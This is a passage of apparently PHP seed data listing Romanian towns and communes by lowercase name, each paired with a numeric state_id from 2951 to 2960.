'name' => 'celaru'],\n ['state_id' => '2951', 'name' => 'ceratu'],\n ['state_id' => '2951', 'name' => 'cernatesti'],\n ['state_id' => '2951', 'name' => 'cetate'],\n ['state_id' => '2951', 'name' => 'cioroiasiu'],\n ['state_id' => '2951', 'name' => 'ciupercenii noi'],\n ['state_id' => '2951', 'name' => 'cosoveni'],\n ['state_id' => '2951', 'name' => 'cotofenii din dos'],\n ['state_id' => '2951', 'name' => 'craiova'],\n ['state_id' => '2951', 'name' => 'dabuleni'],\n ['state_id' => '2951', 'name' => 'daneti'],\n ['state_id' => '2951', 'name' => 'desa'],\n ['state_id' => '2951', 'name' => 'diosti'],\n ['state_id' => '2951', 'name' => 'dobresti'],\n ['state_id' => '2951', 'name' => 'dragotesti'],\n ['state_id' => '2951', 'name' => 'dranic'],\n ['state_id' => '2951', 'name' => 'farcasu'],\n ['state_id' => '2951', 'name' => 'filiasi'],\n ['state_id' => '2951', 'name' => 'galicea mare'],\n ['state_id' => '2951', 'name' => 'gangiova'],\n ['state_id' => '2951', 'name' => 'ghercesti'],\n ['state_id' => '2951', 'name' => 'gighera'],\n ['state_id' => '2951', 'name' => 'giubega'],\n ['state_id' => '2951', 'name' => 'giurgita'],\n ['state_id' => '2951', 'name' => 'gogosu'],\n ['state_id' => '2951', 'name' => 'goicea'],\n ['state_id' => '2951', 'name' => 'goiesti'],\n ['state_id' => '2951', 'name' => 'grecesti'],\n ['state_id' => '2951', 'name' => 'isalnita'],\n ['state_id' => '2951', 'name' => 'izvoare'],\n ['state_id' => '2951', 'name' => 'leu'],\n ['state_id' => '2951', 'name' => 'lipovu'],\n ['state_id' => '2951', 'name' => 'macesu de jos'],\n ['state_id' => '2951', 'name' => 'macesu de sus'],\n ['state_id' => '2951', 'name' => 'maglavit'],\n ['state_id' => '2951', 'name' => 'malu mare'],\n ['state_id' => '2951', 'name' => 'marsani'],\n ['state_id' => '2951', 'name' => 'melinesti'],\n ['state_id' => '2951', 'name' => 'mischii'],\n ['state_id' => '2951', 'name' => 'motatei'],\n ['state_id' => '2951', 'name' => 'murgasi'],\n ['state_id' => '2951', 'name' => 'negoi'],\n ['state_id' => '2951', 'name' => 'orodel'],\n ['state_id' => '2951', 'name' => 'ostroveni'],\n ['state_id' => '2951', 'name' => 'perisor'],\n ['state_id' => '2951', 'name' => 'pielesti'],\n ['state_id' => '2951', 'name' => 'piscu vechi'],\n ['state_id' => '2951', 'name' => 'plenita'],\n ['state_id' => '2951', 'name' => 'podari'],\n ['state_id' => '2951', 'name' => 'poiana mare'],\n ['state_id' => '2951', 'name' => 'predesti'],\n ['state_id' => '2951', 'name' => 'radovan'],\n ['state_id' => '2951', 'name' => 'rastu'],\n ['state_id' => '2951', 'name' => 'robanesti'],\n ['state_id' => '2951', 'name' => 'sadova'],\n ['state_id' => '2951', 'name' => 'salcuta'],\n ['state_id' => '2951', 'name' => 'scaesti'],\n ['state_id' => '2951', 'name' => 'seaca de camp'],\n ['state_id' => '2951', 'name' => 'seaca de padure'],\n ['state_id' => '2951', 'name' => 'secu'],\n ['state_id' => '2951', 'name' => 'segarcea'],\n ['state_id' => '2951', 'name' => 'silistea crucii'],\n ['state_id' => '2951', 'name' => 'simnicu de sus'],\n ['state_id' => '2951', 'name' => 'sopot'],\n ['state_id' => '2951', 'name' => 'teasc'],\n ['state_id' => '2951', 'name' => 'terpezita'],\n ['state_id' => '2951', 'name' => 'teslui'],\n ['state_id' => '2951', 'name' => 'tuglui'],\n ['state_id' => '2951', 'name' => 'unirea'],\n ['state_id' => '2951', 'name' => 'urzicuta'],\n ['state_id' => '2951', 'name' => 'valea stanciului'],\n ['state_id' => '2951', 'name' => 'vartop'],\n ['state_id' => '2951', 'name' => 'varvoru'],\n ['state_id' => '2951', 'name' => 'vela'],\n ['state_id' => '2951', 'name' => 'verbita'],\n ['state_id' => '2952', 'name' => 'balabanesti'],\n ['state_id' => '2952', 'name' => 'balasesti'],\n ['state_id' => '2952', 'name' => 'baleni'],\n ['state_id' => '2952', 'name' => 'baneasa'],\n ['state_id' => '2952', 'name' => 'barcea'],\n ['state_id' => '2952', 'name' => 'beresti'],\n ['state_id' => '2952', 'name' => 'beresti-sat'],\n ['state_id' => '2952', 'name' => 'brahasesti'],\n ['state_id' => '2952', 'name' => 'branistea'],\n ['state_id' => '2952', 'name' => 'buciumeni'],\n ['state_id' => '2952', 'name' => 'cavadinesti'],\n ['state_id' => '2952', 'name' => 'certesti'],\n ['state_id' => '2952', 'name' => 'corni'],\n ['state_id' => '2952', 'name' => 'corod'],\n ['state_id' => '2952', 'name' => 'cosmesti'],\n ['state_id' => '2952', 'name' => 'costache negri'],\n ['state_id' => '2952', 'name' => 'cuca'],\n ['state_id' => '2952', 'name' => 'cudalbi'],\n ['state_id' => '2952', 'name' => 'draganesti'],\n ['state_id' => '2952', 'name' => 'draguseni'],\n ['state_id' => '2952', 'name' => 'fartanesti'],\n ['state_id' => '2952', 'name' => 'foltesti'],\n ['state_id' => '2952', 'name' => 'frumusita'],\n ['state_id' => '2952', 'name' => 'fundeni'],\n ['state_id' => '2952', 'name' => 'galati'],\n ['state_id' => '2952', 'name' => 'ghidigeni'],\n ['state_id' => '2952', 'name' => 'gohor'],\n ['state_id' => '2952', 'name' => 'grivita'],\n ['state_id' => '2952', 'name' => 'independenta'],\n ['state_id' => '2952', 'name' => 'ivesti'],\n ['state_id' => '2952', 'name' => 'jorasti'],\n ['state_id' => '2952', 'name' => 'liesti'],\n ['state_id' => '2952', 'name' => 'mastacani'],\n ['state_id' => '2952', 'name' => 'matca'],\n ['state_id' => '2952', 'name' => 'movileni'],\n ['state_id' => '2952', 'name' => 'munteni'],\n ['state_id' => '2952', 'name' => 'namoloasa'],\n ['state_id' => '2952', 'name' => 'nicoresti'],\n ['state_id' => '2952', 'name' => 'oancea'],\n ['state_id' => '2952', 'name' => 'pechea'],\n ['state_id' => '2952', 'name' => 'piscu'],\n ['state_id' => '2952', 'name' => 'priponesti'],\n ['state_id' => '2952', 'name' => 'rediu'],\n ['state_id' => '2952', 'name' => 'scanteiesti'],\n ['state_id' => '2952', 'name' => 'schela'],\n ['state_id' => '2952', 'name' => 'sendreni'],\n ['state_id' => '2952', 'name' => 'slobozia-conachi'],\n ['state_id' => '2952', 'name' => 'smardan'],\n ['state_id' => '2952', 'name' => 'smulti'],\n ['state_id' => '2952', 'name' => 'suceveni'],\n ['state_id' => '2952', 'name' => 'targu bujor'],\n ['state_id' => '2952', 'name' => 'tecuci'],\n ['state_id' => '2952', 'name' => 'tepu'],\n ['state_id' => '2952', 'name' => 'tudor vladimirescu'],\n ['state_id' => '2952', 'name' => 'tulucesti'],\n ['state_id' => '2952', 'name' => 'umbraresti'],\n ['state_id' => '2952', 'name' => 'valea marului'],\n ['state_id' => '2952', 'name' => 'vanatori'],\n ['state_id' => '2952', 'name' => 'varlezi'],\n ['state_id' => '2952', 'name' => 'vladesti'],\n ['state_id' => '2953', 'name' => 'adunatii-copaceni'],\n ['state_id' => '2953', 'name' => 'baneasa'],\n ['state_id' => '2953', 'name' => 'bolintin deal'],\n ['state_id' => '2953', 'name' => 'bolintinu-din-vale'],\n ['state_id' => '2953', 'name' => 'bucsani'],\n ['state_id' => '2953', 'name' => 'bulbucata'],\n ['state_id' => '2953', 'name' => 'buturugeni'],\n ['state_id' => '2953', 'name' => 'calugareni'],\n ['state_id' => '2953', 'name' => 'clejani'],\n ['state_id' => '2953', 'name' => 'colibasi'],\n ['state_id' => '2953', 'name' => 'comana'],\n ['state_id' => '2953', 'name' => 'crevedia mare'],\n ['state_id' => '2953', 'name' => 'daia'],\n ['state_id' => '2953', 'name' => 'floresti-stoenesti'],\n ['state_id' => '2953', 'name' => 'fratesti'],\n ['state_id' => '2953', 'name' => 'gaiseni'],\n ['state_id' => '2953', 'name' => 'gaujani'],\n ['state_id' => '2953', 'name' => 'ghimpati'],\n ['state_id' => '2953', 'name' => 'giurgiu'],\n ['state_id' => '2953', 'name' => 'gogosari'],\n ['state_id' => '2953', 'name' => 'gostinari'],\n ['state_id' => '2953', 'name' => 'gostinu'],\n ['state_id' => '2953', 'name' => 'gradinari'],\n ['state_id' => '2953', 'name' => 'greaca'],\n ['state_id' => '2953', 'name' => 'hotarele'],\n ['state_id' => '2953', 'name' => 'iepuresti'],\n ['state_id' => '2953', 'name' => 'izvoarele'],\n ['state_id' => '2953', 'name' => 'joita'],\n ['state_id' => '2953', 'name' => 'letca noua'],\n ['state_id' => '2953', 'name' => 'marsa'],\n ['state_id' => '2953', 'name' => 'mihai bravu'],\n ['state_id' => '2953', 'name' => 'mihailesti'],\n ['state_id' => '2953', 'name' => 'ogrezeni'],\n ['state_id' => '2953', 'name' => 'oinacu'],\n ['state_id' => '2953', 'name' => 'prundu'],\n ['state_id' => '2953', 'name' => 'putineiu'],\n ['state_id' => '2953', 'name' => 'rasuceni'],\n ['state_id' => '2953', 'name' => 'roata de jos'],\n ['state_id' => '2953', 'name' => 'schitu'],\n ['state_id' => '2953', 'name' => 'singureni'],\n ['state_id' => '2953', 'name' => 'slobozia'],\n ['state_id' => '2953', 'name' => 'stanesti'],\n ['state_id' => '2953', 'name' => 'stoenesti'],\n ['state_id' => '2953', 'name' => 'toporu'],\n ['state_id' => '2953', 'name' => 'ulmi'],\n ['state_id' => '2953', 'name' => 'valea dragului'],\n ['state_id' => '2953', 'name' => 'vanatorii mici'],\n ['state_id' => '2953', 'name' => 'varasti'],\n ['state_id' => '2953', 'name' => 'vedea'],\n ['state_id' => '2954', 'name' => 'albeni'],\n ['state_id' => '2954', 'name' => 'alimpesti'],\n ['state_id' => '2954', 'name' => 'aninoasa'],\n ['state_id' => '2954', 'name' => 'arcani'],\n ['state_id' => '2954', 'name' => 'baia de fier'],\n ['state_id' => '2954', 'name' => 'balanesti'],\n ['state_id' => '2954', 'name' => 'balesti'],\n ['state_id' => '2954', 'name' => 'balteni'],\n ['state_id' => '2954', 'name' => 'barbatesti'],\n ['state_id' => '2954', 'name' => 'bengesti'],\n ['state_id' => '2954', 'name' => 'berlesti'],\n ['state_id' => '2954', 'name' => 'bolbosi'],\n ['state_id' => '2954', 'name' => 'borascu'],\n ['state_id' => '2954', 'name' => 'branesti'],\n ['state_id' => '2954', 'name' => 'bumbesti-jiu'],\n ['state_id' => '2954', 'name' => 'bumbesti-piticu'],\n ['state_id' => '2954', 'name' => 'bustuchin'],\n ['state_id' => '2954', 'name' => 'calnic'],\n ['state_id' => '2954', 'name' => 'capreni'],\n ['state_id' => '2954', 'name' => 'catunele'],\n ['state_id' => '2954', 'name' => 'ciuperceni'],\n ['state_id' => '2954', 'name' => 'crasna'],\n ['state_id' => '2954', 'name' => 'crusetu'],\n ['state_id' => '2954', 'name' => 'danciulesti'],\n ['state_id' => '2954', 'name' => 'danesti'],\n ['state_id' => '2954', 'name' => 'dragotesti'],\n ['state_id' => '2954', 'name' => 'dragutesti'],\n ['state_id' => '2954', 'name' => 'farcasesti'],\n ['state_id' => '2954', 'name' => 'glogova'],\n ['state_id' => '2954', 'name' => 'godinesti'],\n ['state_id' => '2954', 'name' => 'hurezani'],\n ['state_id' => '2954', 'name' => 'ionesti'],\n ['state_id' => '2954', 'name' => 'jupanesti'],\n ['state_id' => '2954', 'name' => 'lelesti'],\n ['state_id' => '2954', 'name' => 'licuriciu'],\n ['state_id' => '2954', 'name' => 'logresti'],\n ['state_id' => '2954', 'name' => 'matasari'],\n ['state_id' => '2954', 'name' => 'motru'],\n ['state_id' => '2954', 'name' => 'musetesti'],\n ['state_id' => '2954', 'name' => 'negomiru'],\n ['state_id' => '2954', 'name' => 'novaci'],\n ['state_id' => '2954', 'name' => 'pades'],\n ['state_id' => '2954', 'name' => 'pestisani'],\n ['state_id' => '2954', 'name' => 'plopsoru'],\n ['state_id' => '2954', 'name' => 'polovragi'],\n ['state_id' => '2954', 'name' => 'prigoria'],\n ['state_id' => '2954', 'name' => 'rosia de amaradia'],\n ['state_id' => '2954', 'name' => 'rovinari'],\n ['state_id' => '2954', 'name' => 'runcu'],\n ['state_id' => '2954', 'name' => 'sacelu'],\n ['state_id' => '2954', 'name' => 'samarinesti'],\n ['state_id' => '2954', 'name' => 'saulesti'],\n ['state_id' => '2954', 'name' => 'schela'],\n ['state_id' => '2954', 'name' => 'scoarta'],\n ['state_id' => '2954', 'name' => 'slivilesti'],\n ['state_id' => '2954', 'name' => 'stanesti'],\n ['state_id' => '2954', 'name' => 'stejari'],\n ['state_id' => '2954', 'name' => 'stoina'],\n ['state_id' => '2954', 'name' => 'tantareni'],\n ['state_id' => '2954', 'name' => 'targu carbunesti'],\n ['state_id' => '2954', 'name' => 'targu jiu'],\n ['state_id' => '2954', 'name' => 'telesti'],\n ['state_id' => '2954', 'name' => 'ticleni'],\n ['state_id' => '2954', 'name' => 'tismana'],\n ['state_id' => '2954', 'name' => 'turburea'],\n ['state_id' => '2954', 'name' => 'turceni'],\n ['state_id' => '2954', 'name' => 'turcinesti'],\n ['state_id' => '2954', 'name' => 'urdari'],\n ['state_id' => '2954', 'name' => 'vagiulesti'],\n ['state_id' => '2954', 'name' => 'vladimir'],\n ['state_id' => '2955', 'name' => 'atid'],\n ['state_id' => '2955', 'name' => 'avramesti'],\n ['state_id' => '2955', 'name' => 'baile tusnad'],\n ['state_id' => '2955', 'name' => 'balan'],\n ['state_id' => '2955', 'name' => 'bilbor'],\n ['state_id' => '2955', 'name' => 'borsec'],\n ['state_id' => '2955', 'name' => 'bradesti'],\n ['state_id' => '2955', 'name' => 'capalnita'],\n ['state_id' => '2955', 'name' => 'carta'],\n ['state_id' => '2955', 'name' => 'ciucsangeorgiu'],\n ['state_id' => '2955', 'name' => 'ciumani'],\n ['state_id' => '2955', 'name' => 'corbu'],\n ['state_id' => '2955', 'name' => 'corund'],\n ['state_id' => '2955', 'name' => 'cristuru secuiesc'],\n ['state_id' => '2955', 'name' => 'danesti'],\n ['state_id' => '2955', 'name' => 'darjiu'],\n ['state_id' => '2955', 'name' => 'dealu'],\n ['state_id' => '2955', 'name' => 'ditrau'],\n ['state_id' => '2955', 'name' => 'feliceni'],\n ['state_id' => '2955', 'name' => 'frumoasa'],\n ['state_id' => '2955', 'name' => 'galautas'],\n ['state_id' => '2955', 'name' => 'gheorgheni'],\n ['state_id' => '2955', 'name' => 'joseni'],\n ['state_id' => '2955', 'name' => 'lazarea'],\n ['state_id' => '2955', 'name' => 'lueta'],\n ['state_id' => '2955', 'name' => 'lunca de jos'],\n ['state_id' => '2955', 'name' => 'lunca de sus'],\n ['state_id' => '2955', 'name' => 'lupeni'],\n ['state_id' => '2955', 'name' => 'martinis'],\n ['state_id' => '2955', 'name' => 'meresti'],\n ['state_id' => '2955', 'name' => 'miercurea-ciuc'],\n ['state_id' => '2955', 'name' => 'mihaileni'],\n ['state_id' => '2955', 'name' => 'mugeni'],\n ['state_id' => '2955', 'name' => 'ocland'],\n ['state_id' => '2955', 'name' => 'odorheiu secuiesc'],\n ['state_id' => '2955', 'name' => 'pauleni-ciuc'],\n ['state_id' => '2955', 'name' => 'plaiesii-de-jos'],\n ['state_id' => '2955', 'name' => 'praid'],\n ['state_id' => '2955', 'name' => 'remetea'],\n ['state_id' => '2955', 'name' => 'sacel'],\n ['state_id' => '2955', 'name' => 'sancraieni'],\n ['state_id' => '2955', 'name' => 'sandominic'],\n ['state_id' => '2955', 'name' => 'sanmartin'],\n ['state_id' => '2955', 'name' => 'sansimion'],\n ['state_id' => '2955', 'name' => 'sarmas'],\n ['state_id' => '2955', 'name' => 'secuieni'],\n ['state_id' => '2955', 'name' => 'siculeni'],\n ['state_id' => '2955', 'name' => 'simonesti'],\n ['state_id' => '2955', 'name' => 'subcetate'],\n ['state_id' => '2955', 'name' => 'suseni'],\n ['state_id' => '2955', 'name' => 'toplita'],\n ['state_id' => '2955', 'name' => 'tulghes'],\n ['state_id' => '2955', 'name' => 'tusnad'],\n ['state_id' => '2955', 'name' => 'ulies'],\n ['state_id' => '2955', 'name' => 'varsag'],\n ['state_id' => '2955', 'name' => 'vlahita'],\n ['state_id' => '2955', 'name' => 'voslobeni'],\n ['state_id' => '2955', 'name' => 'zetea'],\n ['state_id' => '2956', 'name' => 'aninoasa'],\n ['state_id' => '2956', 'name' => 'bacia'],\n ['state_id' => '2956', 'name' => 'baia de cris'],\n ['state_id' => '2956', 'name' => 'baita'],\n ['state_id' => '2956', 'name' => 'balsa'],\n ['state_id' => '2956', 'name' => 'banita'],\n ['state_id' => '2956', 'name' => 'baru'],\n ['state_id' => '2956', 'name' => 'batrana'],\n ['state_id' => '2956', 'name' => 'beriu'],\n ['state_id' => '2956', 'name' => 'berthelot'],\n ['state_id' => '2956', 'name' => 'blajeni'],\n ['state_id' => '2956', 'name' => 'bosorod'],\n ['state_id' => '2956', 'name' => 'brad'],\n ['state_id' => '2956', 'name' => 'branisca'],\n ['state_id' => '2956', 'name' => 'bretea romana'],\n ['state_id' => '2956', 'name' => 'buces'],\n ['state_id' => '2956', 'name' => 'bucuresci'],\n ['state_id' => '2956', 'name' => 'bulzesti'],\n ['state_id' => '2956', 'name' => 'bunila'],\n ['state_id' => '2956', 'name' => 'burjuc'],\n ['state_id' => '2956', 'name' => 'calan'],\n ['state_id' => '2956', 'name' => 'carjiti'],\n ['state_id' => '2956', 'name' => 'cerbal'],\n ['state_id' => '2956', 'name' => 'certeju de sus'],\n ['state_id' => '2956', 'name' => 'criscior'],\n ['state_id' => '2956', 'name' => 'densus'],\n ['state_id' => '2956', 'name' => 'deva'],\n ['state_id' => '2956', 'name' => 'dobra'],\n ['state_id' => '2956', 'name' => 'geoagiu'],\n ['state_id' => '2956', 'name' => 'ghelari'],\n ['state_id' => '2956', 'name' => 'gurasada'],\n ['state_id' => '2956', 'name' => 'harau'],\n ['state_id' => '2956', 'name' => 'hateg'],\n ['state_id' => '2956', 'name' => 'hunedoara'],\n ['state_id' => '2956', 'name' => 'ilia'],\n ['state_id' => '2956', 'name' => 'lapugiu de jos'],\n ['state_id' => '2956', 'name' => 'lelese'],\n ['state_id' => '2956', 'name' => 'lunca cernii de jos'],\n ['state_id' => '2956', 'name' => 'luncoiu de jos'],\n ['state_id' => '2956', 'name' => 'lupeni'],\n ['state_id' => '2956', 'name' => 'martinesti'],\n ['state_id' => '2956', 'name' => 'orastie'],\n ['state_id' => '2956', 'name' => 'orastioara de sus'],\n ['state_id' => '2956', 'name' => 'pestisu mic'],\n ['state_id' => '2956', 'name' => 'petrila'],\n ['state_id' => '2956', 'name' => 'petrosani'],\n ['state_id' => '2956', 'name' => 'pui'],\n ['state_id' => '2956', 'name' => 'rachitova'],\n ['state_id' => '2956', 'name' => 'rapoltu mare'],\n ['state_id' => '2956', 'name' => 'rau de mori'],\n ['state_id' => '2956', 'name' => 'ribita'],\n ['state_id' => '2956', 'name' => 'romos'],\n ['state_id' => '2956', 'name' => 'salasu de sus'],\n ['state_id' => '2956', 'name' => 'santamaria orlea'],\n ['state_id' => '2956', 'name' => 'sarmizegetusa'],\n ['state_id' => '2956', 'name' => 'simeria'],\n ['state_id' => '2956', 'name' => 'soimus'],\n ['state_id' => '2956', 'name' => 'teliucu inferior'],\n ['state_id' => '2956', 'name' => 'tomesti'],\n ['state_id' => '2956', 'name' => 'toplita'],\n ['state_id' => '2956', 'name' => 'totesti'],\n ['state_id' => '2956', 'name' => 'turdas'],\n ['state_id' => '2956', 'name' => 'uricani'],\n ['state_id' => '2956', 'name' => 'valisoara'],\n ['state_id' => '2956', 'name' => 'vata de jos'],\n ['state_id' => '2956', 'name' => 'vetel'],\n ['state_id' => '2956', 'name' => 'vorta'],\n ['state_id' => '2956', 'name' => 'vulcan'],\n ['state_id' => '2956', 'name' => 'zam'],\n ['state_id' => '2957', 'name' => 'adancata'],\n ['state_id' => '2957', 'name' => 'albesti'],\n ['state_id' => '2957', 'name' => 'alexeni'],\n ['state_id' => '2957', 'name' => 'amara'],\n ['state_id' => '2957', 'name' => 'andrasesti'],\n ['state_id' => '2957', 'name' => 'armasesti'],\n ['state_id' => '2957', 'name' => 'axintele'],\n ['state_id' => '2957', 'name' => 'balaciu'],\n ['state_id' => '2957', 'name' => 'barcanesti'],\n ['state_id' => '2957', 'name' => 'bordusani'],\n ['state_id' => '2957', 'name' => 'brazii'],\n ['state_id' => '2957', 'name' => 'bucu'],\n ['state_id' => '2957', 'name' => 'cazanesti'],\n ['state_id' => '2957', 'name' => 'ciocarlia'],\n ['state_id' => '2957', 'name' => 'ciochina'],\n ['state_id' => '2957', 'name' => 'ciulnita'],\n ['state_id' => '2957', 'name' => 'cocora'],\n ['state_id' => '2957', 'name' => 'cosambesti'],\n ['state_id' => '2957', 'name' => 'cosereni'],\n ['state_id' => '2957', 'name' => 'dragoesti'],\n ['state_id' => '2957', 'name' => 'dridu'],\n ['state_id' => '2957', 'name' => 'facaeni'],\n ['state_id' => '2957', 'name' => 'fetesti'],\n ['state_id' => '2957', 'name' => 'fierbinti-targ'],\n ['state_id' => '2957', 'name' => 'garbovi'],\n ['state_id' => '2957', 'name' => 'gheorghe doja'],\n ['state_id' => '2957', 'name' => 'gheorghe lazar'],\n ['state_id' => '2957', 'name' => 'giurgeni'],\n ['state_id' => '2957', 'name' => 'grindu'],\n ['state_id' => '2957', 'name' => 'grivita'],\n ['state_id' => '2957', 'name' => 'ion roata'],\n ['state_id' => '2957', 'name' => 'jilavele'],\n ['state_id' => '2957', 'name' => 'manasia'],\n ['state_id' => '2957', 'name' => 'mihail kogalniceanu'],\n ['state_id' => '2957', 'name' => 'milosesti'],\n ['state_id' => '2957', 'name' => 'movila'],\n ['state_id' => '2957', 'name' => 'movilita'],\n ['state_id' => '2957', 'name' => 'munteni buzau'],\n ['state_id' => '2957', 'name' => 'perieti'],\n ['state_id' => '2957', 'name' => 'reviga'],\n ['state_id' => '2957', 'name' => 'salcioara'],\n ['state_id' => '2957', 'name' => 'saveni'],\n ['state_id' => '2957', 'name' => 'scanteia'],\n ['state_id' => '2957', 'name' => 'sfantu gheorghe'],\n ['state_id' => '2957', 'name' => 'sinesti'],\n ['state_id' => '2957', 'name' => 'slobozia'],\n ['state_id' => '2957', 'name' => 'stelnica'],\n ['state_id' => '2957', 'name' => 'suditi'],\n ['state_id' => '2957', 'name' => 'tandarei'],\n ['state_id' => '2957', 'name' => 'urziceni'],\n ['state_id' => '2957', 'name' => 'valea ciorii'],\n ['state_id' => '2957', 'name' => 'valea macrisului'],\n ['state_id' => '2957', 'name' => 'vladeni'],\n ['state_id' => '2958', 'name' => 'alexandru ioan cuza'],\n ['state_id' => '2958', 'name' => 'andrieseni'],\n ['state_id' => '2958', 'name' => 'aroneanu'],\n ['state_id' => '2958', 'name' => 'baltati'],\n ['state_id' => '2958', 'name' => 'barnova'],\n ['state_id' => '2958', 'name' => 'belcesti'],\n ['state_id' => '2958', 'name' => 'bivolari'],\n ['state_id' => '2958', 'name' => 'braesti'],\n ['state_id' => '2958', 'name' => 'butea'],\n ['state_id' => '2958', 'name' => 'ceplenita'],\n ['state_id' => '2958', 'name' => 'ciortesti'],\n ['state_id' => '2958', 'name' => 'ciurea'],\n ['state_id' => '2958', 'name' => 'coarnele caprei'],\n ['state_id' => '2958', 'name' => 'comarna'],\n ['state_id' => '2958', 'name' => 'costuleni'],\n ['state_id' => '2958', 'name' => 'cotnari'],\n ['state_id' => '2958', 'name' => 'cozmesti'],\n ['state_id' => '2958', 'name' => 'cristesti'],\n ['state_id' => '2958', 'name' => 'cucuteni'],\n ['state_id' => '2958', 'name' => 'dagata'],\n ['state_id' => '2958', 'name' => 'deleni'],\n ['state_id' => '2958', 'name' => 'dobrovat'],\n ['state_id' => '2958', 'name' => 'dolhesti'],\n ['state_id' => '2958', 'name' => 'dumesti'],\n ['state_id' => '2958', 'name' => 'erbiceni'],\n ['state_id' => '2958', 'name' => 'focuri'],\n ['state_id' => '2958', 'name' => 'golaesti'],\n ['state_id' => '2958', 'name' => 'gorban'],\n ['state_id' => '2958', 'name' => 'grajduri'],\n ['state_id' => '2958', 'name' => 'gropnita'],\n ['state_id' => '2958', 'name' => 'grozesti'],\n ['state_id' => '2958', 'name' => 'halaucesti'],\n ['state_id' => '2958', 'name' => 'harlau'],\n ['state_id' => '2958', 'name' => 'helesteni harmaneasa'],\n ['state_id' => '2958', 'name' => 'holboca'],\n ['state_id' => '2958', 'name' => 'horlesti'],\n ['state_id' => '2958', 'name' => 'iasi'],\n ['state_id' => '2958', 'name' => 'ipatele'],\n ['state_id' => '2958', 'name' => 'lespezi'],\n ['state_id' => '2958', 'name' => 'letcani'],\n ['state_id' => '2958', 'name' => 'lungani'],\n ['state_id' => '2958', 'name' => 'madarjac'],\n ['state_id' => '2958', 'name' => 'mircesti'],\n ['state_id' => '2958', 'name' => 'mironeasa'],\n ['state_id' => '2958', 'name' => 'miroslava'],\n ['state_id' => '2958', 'name' => 'miroslovesti'],\n ['state_id' => '2958', 'name' => 'mogosesti'],\n ['state_id' => '2958', 'name' => 'mogosesti-siret'],\n ['state_id' => '2958', 'name' => 'mosna'],\n ['state_id' => '2958', 'name' => 'motca'],\n ['state_id' => '2958', 'name' => 'movileni'],\n ['state_id' => '2958', 'name' => 'oteleni'],\n ['state_id' => '2958', 'name' => 'pascani'],\n ['state_id' => '2958', 'name' => 'plugari'],\n ['state_id' => '2958', 'name' => 'podu iloaiei'],\n ['state_id' => '2958', 'name' => 'popesti'],\n ['state_id' => '2958', 'name' => 'popricani'],\n ['state_id' => '2958', 'name' => 'prisacani'],\n ['state_id' => '2958', 'name' => 'probota'],\n ['state_id' => '2958', 'name' => 'raducaneni'],\n ['state_id' => '2958', 'name' => 'rediu'],\n ['state_id' => '2958', 'name' => 'romanesti'],\n ['state_id' => '2958', 'name' => 'ruginoasa'],\n ['state_id' => '2958', 'name' => 'scanteia'],\n ['state_id' => '2958', 'name' => 'scheia'],\n ['state_id' => '2958', 'name' => 'schitu-duca'],\n ['state_id' => '2958', 'name' => 'scobinti'],\n ['state_id' => '2958', 'name' => 'sinesti'],\n ['state_id' => '2958', 'name' => 'sipote'],\n ['state_id' => '2958', 'name' => 'siretel'],\n ['state_id' => '2958', 'name' => 'stolniceni-prajescu'],\n ['state_id' => '2958', 'name' => 'strunga'],\n ['state_id' => '2958', 'name' => 'tansa'],\n ['state_id' => '2958', 'name' => 'targu gangiulesti'],\n ['state_id' => '2958', 'name' => 'tatarusi'],\n ['state_id' => '2958', 'name' => 'tibana'],\n ['state_id' => '2958', 'name' => 'tibanesti'],\n ['state_id' => '2958', 'name' => 'tiganasi'],\n ['state_id' => '2958', 'name' => 'todiresti'],\n ['state_id' => '2958', 'name' => 'tomesti'],\n ['state_id' => '2958', 'name' => 'trifesti'],\n ['state_id' => '2958', 'name' => 'tutora'],\n ['state_id' => '2958', 'name' => 'ungheni'],\n ['state_id' => '2958', 'name' => 'valea seaca'],\n ['state_id' => '2958', 'name' => 'vanatori'],\n ['state_id' => '2958', 'name' => 'victoria'],\n ['state_id' => '2958', 'name' => 'vladeni'],\n ['state_id' => '2958', 'name' => 'voinesti'],\n ['state_id' => '2959', 'name' => 'afumati'],\n ['state_id' => '2959', 'name' => 'balotesti'],\n ['state_id' => '2959', 'name' => 'berceni'],\n ['state_id' => '2959', 'name' => 'bragadiru'],\n ['state_id' => '2959', 'name' => 'branesti'],\n ['state_id' => '2959', 'name' => 'buftea'],\n ['state_id' => '2959', 'name' => 'cernica'],\n ['state_id' => '2959', 'name' => 'chiajna'],\n ['state_id' => '2959', 'name' => 'chitila'],\n ['state_id' => '2959', 'name' => 'ciolpani'],\n ['state_id' => '2959', 'name' => 'ciorogarla'],\n ['state_id' => '2959', 'name' => 'clinceni'],\n ['state_id' => '2959', 'name' => 'corbeanca'],\n ['state_id' => '2959', 'name' => 'cornetu'],\n ['state_id' => '2959', 'name' => 'darasti-ilfov'],\n ['state_id' => '2959', 'name' => 'dascalu'],\n ['state_id' => '2959', 'name' => 'dobroesti'],\n ['state_id' => '2959', 'name' => 'domnesti'],\n ['state_id' => '2959', 'name' => 'dragomiresti-vale'],\n ['state_id' => '2959', 'name' => 'ganeasa'],\n ['state_id' => '2959', 'name' => 'glina'],\n ['state_id' => '2959', 'name' => 'gradistea'],\n ['state_id' => '2959', 'name' => 'gruiu'],\n ['state_id' => '2959', 'name' => 'jilava'],\n ['state_id' => '2959', 'name' => 'magurele'],\n ['state_id' => '2959', 'name' => 'moara vlasiei'],\n ['state_id' => '2959', 'name' => 'mogosoaia'],\n ['state_id' => '2959', 'name' => 'nuci'],\n ['state_id' => '2959', 'name' => 'otopeni'],\n ['state_id' => '2959', 'name' => 'pantelimon'],\n ['state_id' => '2959', 'name' => 'peris'],\n ['state_id' => '2959', 'name' => 'petrachioaia'],\n ['state_id' => '2959', 'name' => 'popesti-leordeni'],\n ['state_id' => '2959', 'name' => 'prim decembrie'],\n ['state_id' => '2959', 'name' => 'snagov'],\n ['state_id' => '2959', 'name' => 'stefanestii de jos'],\n ['state_id' => '2959', 'name' => 'tunari'],\n ['state_id' => '2959', 'name' => 'vidra'],\n ['state_id' => '2959', 'name' => 'voluntari'],\n ['state_id' => '2960', 'name' => 'ardusat'],\n ['state_id' => '2960', 'name' => 'arinis'],\n ['state_id' => '2960', 'name' => 'asuaju de sus'],\n ['state_id' => '2960', 'name' => 'baia mare'],\n ['state_id' => '2960', 'name' => 'baia-sprie'],\n ['state_id' => '2960', 'name' => 'baita de sub codru'],\n ['state_id' => '2960', 'name' => 'baiut'],\n ['state_id' => '2960', 'name' => 'barsana'],\n ['state_id' => '2960', 'name' => 'basesti'],\n ['state_id' => '2960', 'name' => 'bicaz'],\n ['state_id' => '2960', 'name' => 'bistra'],\n ['state_id' => '2960', 'name' => 'bocicoiu 